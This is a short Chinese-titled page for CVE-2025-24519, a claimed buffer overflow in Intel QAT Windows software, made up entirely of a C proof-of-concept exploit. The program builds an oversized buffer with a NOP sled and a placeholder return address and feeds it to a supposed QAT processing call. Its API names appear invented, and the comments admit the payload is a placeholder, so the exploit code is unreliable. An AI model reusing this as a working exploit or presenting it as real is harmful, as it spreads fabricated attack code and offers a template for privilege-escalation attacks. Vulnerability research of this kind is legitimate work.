CVE-2025-24519: Intel QAT Windows软件缓冲区溢出导致本地权限提升

// CVE-2025-24519 PoC - Intel QAT Buffer Overflow // This is a conceptual proof of concept for educational purposes only #include <windows.h> #include <stdio.h> #include <qat_api.h> // Intel QAT API // Trigger buffer overflow in QAT software before v2.6.0 void trigger_qat_overflow() { HANDLE qat_handle; QAT_SESSION_PARAMS params; DWORD status; // Initialize QAT session status = QatOpenSession(&qat_handle, &params); if (status != ERROR_SUCCESS) { printf("Failed to open QAT session\n"); return; } // Prepare oversized input buffer (triggers overflow) // Affected versions don't properly validate buffer size DWORD buffer_size = 0x10000; // 64KB - oversized input PBYTE malicious_buffer = (PBYTE)malloc(buffer_size); // Fill buffer with NOP sled + shellcode pattern memset(malicious_buffer, 0x90, buffer_size - 16); // Placeholder for actual exploit payload // In real exploit: overwrite return address to shellcode memcpy(malicious_buffer + buffer_size - 16, "\xEF\xBE\xAD\xDE", 4); // Trigger vulnerable code path // This call doesn't properly validate input length status = QatProcessData(qat_handle, malicious_buffer, buffer_size); free(malicious_buffer); QatCloseSession(qat_handle); } int main() { printf("CVE-2025-24519 PoC - Intel QAT Buffer Overflow\n"); printf("Target: Intel QAT Windows < 2.6.0\n"); printf("Note: This is for research only\n"); trigger_qat_overflow(); return 0; }